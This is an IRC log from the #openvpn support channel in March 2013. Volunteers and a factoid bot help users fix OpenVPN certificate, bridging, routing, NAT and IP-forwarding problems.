17:11 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:13 < Harty> pekster what's the differences between policy routing and the Windows hosts file ?
17:16 <+[oc80z]> dzubey hahaahah
17:18 < pekster> Harty: many things. hosts is a way to short-circuit getHostByName() calls that would have gone to DNS, while policy routing is a framework for making routing decisions
17:18 < pekster> !101
17:18 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
17:23 < Harty> but can i use policy routing to force port on network interface ? ifnot this is no help for me, and google isn't helping much
17:28 <+[oc80z]> what
17:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
17:51 -!- Harty [~Hart@AAubervilliers-151-1-49-31.w83-114.abo.wanadoo.fr] has quit [Quit: Quitte]
17:58 < TheWarden> use to  openvpn-plugin-auth-pam doesn't one just add to server.conf plugin /usr/lib/openvpn/plugins/openvpn-plugin-auth-pam.so login and then auth-user-pass-verify somescript ?
18:00 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
18:01 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
18:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
18:07  * TheWarden sighs
18:21 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
18:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:34 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
18:40 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:45 < TheWarden> good night everyone
18:45 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 258 seconds]
18:57 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Quit: No Ping reply in 180 seconds.]
18:58 -!- joako [~joako@opensuse/member/joak0] has joined #openvpn
18:58 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
18:58 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
19:02 -!- mezgani [~mezgani@41.140.2.243] has left #openvpn ["Leaving"]
19:15 -!- mustu [~maan@221.120.210.138] has joined #openvpn
19:16 -!- mustu is now known as Guest9264
19:16 -!- mustu_ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
19:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:20 -!- Guest9264 [~maan@221.120.210.138] has quit [Ping timeout: 260 seconds]
19:20 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
19:23 -!- mustu_ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
19:24 -!- ngharo_ is now known as ngharo
19:25 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
19:27 -!- JSharpe [~JSharpe@ip5-63-144-28.lon.ukinetcom.net] has quit [Quit: Leaving]
19:27 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 264 seconds]
19:32 -!- mustu__ [~maan@221.120.210.138] has joined #openvpn
19:35 -!- mustu_ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
19:37 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
19:38 -!- mustu__ [~maan@221.120.210.138] has quit [Ping timeout: 240 seconds]
19:45 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
19:50 -!- mustu__ [~maan@221.120.210.138] has joined #openvpn
19:50 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
19:51 -!- mustu_ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
19:52 -!- master_of_master [~master_of@p4FF24BF0.dip.t-dialin.net] has joined #openvpn
19:53 -!- mustu__ [~maan@221.120.210.138] has quit [Read error: Connection reset by peer]
19:55 -!- mustu_ [~maan@221.120.210.138] has joined #openvpn
19:56 -!- master_o1_master [~master_of@p4FF24CAD.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
20:00 -!- raidz is now known as raidz_away
20:01 -!- mustu__ [~maan@119.63.130.93] has joined #openvpn
20:01 -!- mustu_ [~maan@221.120.210.138] has quit [Read error: Connection reset by peer]
20:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:05 -!- mustu__ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
20:06 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
20:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:08 -!- mustu_ [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
20:09 -!- zz_AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
20:11 -!- mustu [~maan@119.63.130.93] has joined #openvpn
20:11 -!- mustu is now known as Guest52585
20:16 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
20:30 -!- mustu_ [~maan@221.120.210.138] has joined #openvpn
20:30 -!- Guest52585 [~maan@119.63.130.93] has quit [Read error: Connection reset by peer]
20:34 -!- mustu_ [~maan@221.120.210.138] has quit [Ping timeout: 240 seconds]
20:35 -!- mustu_ [~maan@119.63.130.93] has joined #openvpn
20:37 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 272 seconds]
20:40 -!- mustu__ [~maan@119.63.130.93] has joined #openvpn
20:41 -!- mustu_ [~maan@119.63.130.93] has quit [Ping timeout: 245 seconds]
20:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:45 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:47 -!- master_o1_master [~master_of@p4FF244AC.dip.t-dialin.net] has joined #openvpn
20:50 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
20:50 -!- master_of_master [~master_of@p4FF24BF0.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
20:56 -!- dzubey [~dzubey@68.14.254.195] has left #openvpn ["PING 1363226174"]
21:47 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
22:09 -!- ironmagma [~ironmagma@66-231-148-248.apt.gru.net] has joined #openvpn
22:13 < ironmagma> Hi there, I'm following the tutorial at https://help.ubuntu.com/community/OpenVPN and got to "Generating Client Certificate and Key", but when I run the third line I run into an error..
22:13 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
22:14 < ironmagma> http://codepad.org/cSHjIjey is the terminal output. I'm not sure the meaning of everything I configured
22:14 <@vpnHelper> Title: Plain Text code - 22 lines - codepad (at codepad.org)
22:15 < ironmagma> i.e. what KEY_OU should have. assuming that probably isn't the cause for the error but figured it might be worth mentioning
22:16 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:19 < ironmagma> anyone know what causes the error or how to fix it?
22:37 < joako> ironmagma, Try to change the commonName to something else
22:46 < ironmagma> Thanks, that seemed to work. What should common name contain exactly?
22:47 < joako> Normally you put the fqdn but for OpenVPN it doesn´t really matter
23:00 -!- sanfran [~sanfran@185.3.135.34] has joined #openvpn
23:00 < sanfran> !welcome
23:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
23:00 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
23:11 -!- sanfran [~sanfran@185.3.135.34] has quit [Quit: leaving]
23:15 < hazardous> i dont think i've encountered a non tourist yet that called it san fran
23:36 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
--- Day changed Thu Mar 14 2013
00:04 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 258 seconds]
00:15 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
00:15 -!- ironmagma [~ironmagma@66-231-148-248.apt.gru.net] has quit [Ping timeout: 240 seconds]
00:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:38 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
00:42 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has joined #openvpn
00:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:44 < stan_man_can> Are there any really simple openvpn guides available for setting up a server on linux? I just want something to run on my VPS so I  can view US sites
00:45 < pekster> !howto
00:45 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:46 < pekster> Start with the official howto, then once you have basic connectivity up, either redirect all your traffic across the VPN, or use a proxy across the VPN tunnel and point your browser to the proxy
00:46 < pekster> For redirecting traffic, first get a working VPN tunnel, then follow this:
00:46 < pekster> !redirect
00:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:46 <@vpnHelper> http://ircpimps.org/redirect.png
00:48 < stan_man_can> Is it a pain to setup? My server admin skills leave much to be desired, I was hoping somewhere, someone would have put together a walk through
00:50 < stan_man_can> pekster: is openvpn access server a more brain dead approach?
00:50 < pekster> The howto is effective a walkthrough to basic VPN connectivity
00:52 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:53 < pekster> I can't speak to Access Server; that's the commercial side, and I strictly deal with the GPL open-source software. If you wish to use a non-open commercial product, you're of course free to look into it
00:53 < stan_man_can> fair enough
00:54 < stan_man_can> I remember setting up openvpn a few years back and getting it to work, but now it's getting the best of me
01:09 -!- ade_b [~Ade@koln-5d8146d4.pool.mediaWays.net] has joined #openvpn
01:09 -!- ade_b [~Ade@koln-5d8146d4.pool.mediaWays.net] has quit [Changing host]
01:09 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:15 -!- Nemus [~Nemus@unaffiliated/nemus] has joined #openvpn
01:16 < Nemus> so I have a connection setup to do bridge it connects successful but I cannot connect to the remote network
01:18 < pekster> Nemus: first off, why are you bridging? Normally you want to use a routed/tun setup unless you need tap specifically (see output from the bot momentarily.) Regardless, configs/logs would help
01:18 < pekster> !tunortap
01:18 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
01:18 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
01:19 < Nemus> I have setup several sucessful routed version of openvpn but wanted to learn how to seutp a bridge vpn to use for lan gaming
01:19 < pekster> Ah, sure
01:20 < pekster> tap isn't wrong, but sadly many people use it mistakenly thinking it's "easier." Are you trying to bridge to a physical network, or just have a completely virtual tap-based LAN?
01:20 < Nemus> I am trying to connect ot a physical network from a remote computer.
01:21 < Nemus> http://pastebin.com/5LU8xmcS
01:22 < Nemus> is my bridge setup on the physical server connected to the pythincal lan
01:24 -!- Teck7__ [~teck7@bas1-montreal54-1279375478.dsl.bell.ca] has joined #openvpn
01:24 < Nemus> http://pastebin.com/af9Drk0D
01:24 < Nemus> more info
01:25 < pekster> Can you paste the server config (comments stripped please) and interface info via 'ip addr' ?
01:25 < Nemus> yep
01:26 -!- Teck7 [~teck7@76.65.61.190] has quit [Ping timeout: 245 seconds]
01:28 < pekster> There's some useful sed magic to strip comments:
01:28 < pekster> !configs
01:28 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
01:31 < Nemus> oh thank you
01:32 < stan_man_can> !def1
01:32 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
01:33 < Nemus> http://pastebin.com/zDMVZNg6
01:34 < Nemus> that should have everything
01:34 < pekster> Yea. This works, but in the future:
01:34 < pekster> !ifconfig-linux
01:34 <@vpnHelper> "ifconfig-linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
01:35 < pekster> So, tap0 is not in the br0 bridge
01:35 < Nemus> http://pastebin.com/vxLk3nGK
01:35 < Nemus> sorry brctl show was missing tap0 in the bridge on the pastebin
01:36 < Nemus> it is just got cut off in the paste
01:37 < Nemus> its been boggling my mind
01:37 < pekster> Then it looks okay. Can you ping 10.1.10.2 after you connect?
01:37 < Nemus> I even have selinux off
01:37 < Nemus> nope
01:37 < stan_man_can> !pushdns
01:37 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
01:37 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
01:40 < pekster> Logs would be the next step. Generally anything above verb 5 is for debug purposes, and at verb 5 you get rRwW printed in the logs for tunneled/encapsulated packets read/write
01:40 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has quit [Quit: stan_man_can]
01:40 < pekster> !logs
01:40 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
01:40 < Nemus> http://pastebin.com/bqkgiJsX attached is all i see from openvpn
01:41 < pekster> That's missing all the interesting bits about the connect. Drop to 'verb 4' and you'll get more sane looking logs from the connection
01:47 < Nemus> http://pastebin.com/VsXzcAyB
01:48 < Nemus> I think something is blocking it
01:50 < pekster> And the client logs?
01:51 < pekster> The connect sequence looks fine from the server's view
01:51 < Nemus> do you want the client config also?
01:52 < pekster> Depends on what I see in the log :P
01:59 < Nemus> http://pastebin.com/rPFui3xm
02:01 < Nemus> http://pastebin.com/qPZ9cUK6
02:01 < Nemus> with client config
02:02 < pekster> Odd indeed. Next step would be to tcpdump pakcets and see why you don't get a ping reply from 10.1.10.2 from 10.1.10.200
02:02 < Nemus> would it be anything if sysctl?
02:03 < Nemus> with*
02:05 < pekster> Shouldn't be, unless you've gone messingn with some obscure settings (things like misconfiguring arp_ignore would be Bad, but you have to try to break something like that)
02:05 < Nemus> well I am off to bed thank you so much for you help
02:05 < Nemus> still not quite sure why it isn't working
02:05 < pekster> Yea. I'd see where you loose the ping
02:06 < Nemus> on tcpdump i see the arp quest at the host
02:06 < Nemus> but not at the server
02:06 < Nemus> I see the openvpn packets come in
02:06 < Nemus> but after that its nothing
02:06 < Nemus> very odd
02:06 < pekster> So you se the udp port 969 stuff, but not the encapsulated ARP request on br0?
02:07 < Nemus> yep
02:08 < pekster> Oh, I just noticed in your log from earlier it said device tap1 opened
02:08 < pekster> Not ta0
02:08 < pekster> tap0*
02:09 < pekster> If you've created tap0 outside openpvn, you need to explicitly tell it to use that device
02:09 < pekster> Otherwise, if you'd like to let openvpn dynamically create one for you you'll need a script to add it to your bridge when it comes up
02:09 < Nemus> http://pastebin.com/hXjd2irW
02:10 < Nemus> hmm I only ever see tap1 in the ip a info
02:11 < pekster> Did I mention yet how ifconfig sucks? :)
02:11 < Nemus> lol you did
02:11 < pekster> It's in your server logs as tap1 when openvp starts up
02:11 < pekster> openvpn*
02:11 < pekster> Line 146 in that latest paste
02:11 < pekster> That's of course a prolem
02:12 < pekster> Use --dev tap0 explicitly in your config, or dynamically manage the port addition of the device to the bridge on startup
02:12 < Nemus> okay sweet
02:12 < Nemus> thank you so much
02:13 < Nemus> so when are start the server i put --dev tap0
02:14 < pekster> In your config files works too
02:14 < pekster> !--
02:14 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
02:14 < pekster> The issue is that openvpn sees tap0 and since you didn't tell it to use it (you must have created this before you started openvpn?) it dynamically creates another device it calls tap1
02:15 < pekster> tap1 isn't part of your bridge, thus it is a floating island by itself and traffic never goes anywhere, just like a PC connected to a switch by itself
02:17 < Nemus> makes sense
02:17 < Nemus> and now its working!
02:17 < Nemus> thank you so much for your help
02:18 < Nemus> pekster your the best!
02:18 < pekster> No problem. Thank me by avoiding use of ifconfig in the future ;)
02:18 < Nemus> will do
02:18 < pekster> (NB: ifconfig -a would have shown you tap1. It's still an awful tool when used under Linux.)
02:25 -!- joako [~joako@opensuse/member/joak0] has quit [Ping timeout: 260 seconds]
02:30 -!- master_of_master [~master_of@p4FF24408.dip.t-dialin.net] has joined #openvpn
02:33 -!- master_o1_master [~master_of@p4FF244AC.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
02:45 < jzaw> pekster ... is there something in sever.conf that i could have removed that stops the route for the ipv4 ip of the ovpn server being added once tap0 is up
02:45 < jzaw> im having to add it manually
02:45 < jzaw> im sure it used to be added automatically ... but i touched the conf ;)
02:47 < jzaw> ahh is that the differencde between     local + server    vs     server-bridge ?
02:48 < jzaw> server-bridge adds that extra route for to always go to the server via internet ! vpn
02:50 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
03:01 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
03:12 -!- jgeboski- is now known as jgeboski
03:18 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
03:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:42 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
03:46 -!- [fred] [fred@konfuzi.us] has joined #openvpn
03:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
04:03 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
04:04 -!- Thermi_ [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
04:07 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:12 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
04:13 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
04:23 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
04:34 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
04:41 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
04:43 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Operation timed out]
04:43 -!- master_o1_master [~master_of@p4FF247E1.dip.t-dialin.net] has joined #openvpn
04:44 -!- master_of_master [~master_of@p4FF24408.dip.t-dialin.net] has quit [Read error: Operation timed out]
04:46 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
04:47 -!- novaflash is now known as novaflash_away
04:47 -!- novaflash_away is now known as novaflash
04:47 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
04:47 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
04:47 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
04:57 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Quit: Herpa la Derpa]
04:59 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
05:01 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:06 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:25 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
05:29 -!- dazo_afk is now known as dazo
05:39 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
05:40 -!- master_of_master [~master_of@p4FF24517.dip.t-dialin.net] has joined #openvpn
05:43 -!- master_o1_master [~master_of@p4FF247E1.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
05:59 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 248 seconds]
06:05 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
06:19 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
06:22 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
06:22 -!- zz_AsadH is now known as AsadH
06:22 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
06:22 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
06:34 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
06:38 -!- Starscreamer [~starscrea@217.41.69.72] has joined #openvpn
06:39 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
06:47 -!- kubbing [~kubbing@gprs11.vodafone.cz] has joined #openvpn
06:52 -!- Starscreamer [~starscrea@217.41.69.72] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
06:52 -!- kubbing [~kubbing@gprs11.vodafone.cz] has quit [Remote host closed the connection]
06:59 -!- Starscreamer [~starscrea@host217-41-69-72.in-addr.btopenworld.com] has joined #openvpn
07:06 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:10 -!- Starscreamer [~starscrea@host217-41-69-72.in-addr.btopenworld.com] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
07:19 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
07:19 -!- gardar [~gardar@gardar.net] has joined #openvpn
07:22 -!- rkantos [robin@109.169.7.197] has quit [Ping timeout: 260 seconds]
07:22 -!- rkantos [robin@4e.fi] has joined #openvpn
07:23 -!- Starscreamer [~starscrea@host217-41-69-72.in-addr.btopenworld.com] has joined #openvpn
07:33 -!- Starscreamer [~starscrea@host217-41-69-72.in-addr.btopenworld.com] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
07:45 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
07:50 -!- cpm [~Chip@pdpc/supporter/active/cpm] has left #openvpn []
07:52 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
08:18 -!- Teck7__ [~teck7@bas1-montreal54-1279375478.dsl.bell.ca] has quit [Quit: Leaving]
08:20 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
08:40 -!- rufianw [~ntrrgc@79.109.52.159.dyn.user.ono.com] has joined #openvpn
08:40 < rufianw> !welcome
08:40 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:40 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:41 < rufianw> !howto
08:41 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
08:45 < rufianw> I am trying to make my virtual network (which is physically on my laptop) reachable from other hosts from the same network. I have a virtual machine with routing, DHCP and DNS, which serves the rest of virtual machines as gateway.
08:47 < rufianw> To start with the VPN setup, I created a new virtual machine with bridged interfaces (so it's like a computer on the same network as my laptop, but it isn't inside the virtual network), and now I am trying to do first VPN connectivity checks.
08:47 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
08:48 < rufianw> I tried the example 1 here. http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html#lbAV
08:48 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
08:49 < rufianw> And the issue currently is I am getting warnings like this: 'ifconfig' is used inconsistently, local='ifconfig 10.4.0.1 10.4.0.2', remote='ifconfig 10.4.0.2 10.4.0.1'
08:50 < rufianw> I can't understand why those warnings emerge.
08:50 < rufianw> Also, VPN is not working.
08:50 < rufianw> Any help?
08:51 < rufianw> I should note the VPN server is NATted, but the port is open.
08:56 < rufianw> Oh. This is strange. If I init the server, but not the client, the warning appears anyway.
08:56 < rufianw> It seems like if it is trying to connect to itself.
09:00 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
09:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:06 -!- HyperGlide [~HyperGlid@221.237.121.63] has joined #openvpn
09:13 < rufianw> Hmm... edited the NAT port forwarding settings, and I got rid of the warning... but it is still not working.
09:13 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has joined #openvpn
09:14 < rufianw> Packets are send from client to server, and server logs "Peer Connection Initiated" and "Initialization Sequence Completed", but it does not send packets through the wire.
09:15 < stan_man_can> 1ipforward
09:16 < stan_man_can> !ipforward
09:16 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
09:16 -!- HyperGlide [~HyperGlid@221.237.121.63] has quit [Read error: Connection reset by peer]
09:16 < stan_man_can> !osxipforward
09:16 <@vpnHelper> "osxipforward" is (#1) sysctl -w net.inet.ip.forwarding=1 for a temp solution or (#2) add IPFORWARDING=-YES- in /etc/hostconfig for a permanent solution
09:16 -!- HyperGlide [~HyperGlid@221.237.121.63] has joined #openvpn
09:17 < TheWarden> why is it a good idea to reduce OpenVPN daemon's privileges to user nobody group nogroup ?
09:18 < stan_man_can> is that IPFORWARDING in the hosts file supposed to go on my OSX or the openvpn server?
09:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
09:21 < stan_man_can> 1nat
09:21 < stan_man_can> !nat
09:21 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
09:22 < stan_man_can> !linnat
09:22 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
09:23 < rob0> Stan, /etc/hostconfig is not an openvpn file, and "IPFORWARDING" is not an openvpn directive.
09:23 < stan_man_can> : "osxipforward" is (#1) sysctl -w net.inet.ip.forwarding=1 for a temp solution or (#2) add IPFORWARDING=-YES- in /etc/hostconfig for a permanent solution
09:23 < rob0> rufianw, I did not see your pastebin anywhere.
09:24 < stan_man_can> rob0 ^
09:24 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
09:24 < rob0> TheWarden, as with all Unix daemons, the idea of privilege reduction is to reduce the potential risk of a successful exploit.
09:25 < rob0> (an attacker might gain the ability to run undesired code, but not run it as root.)
09:26 < rob0> 14:18 < stan_man_can> is that IPFORWARDING in the hosts file supposed to go on my OSX or the openvpn server?
09:26 < dioz> i don't always PC
09:26 < dioz> but when i do i use root
09:26 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
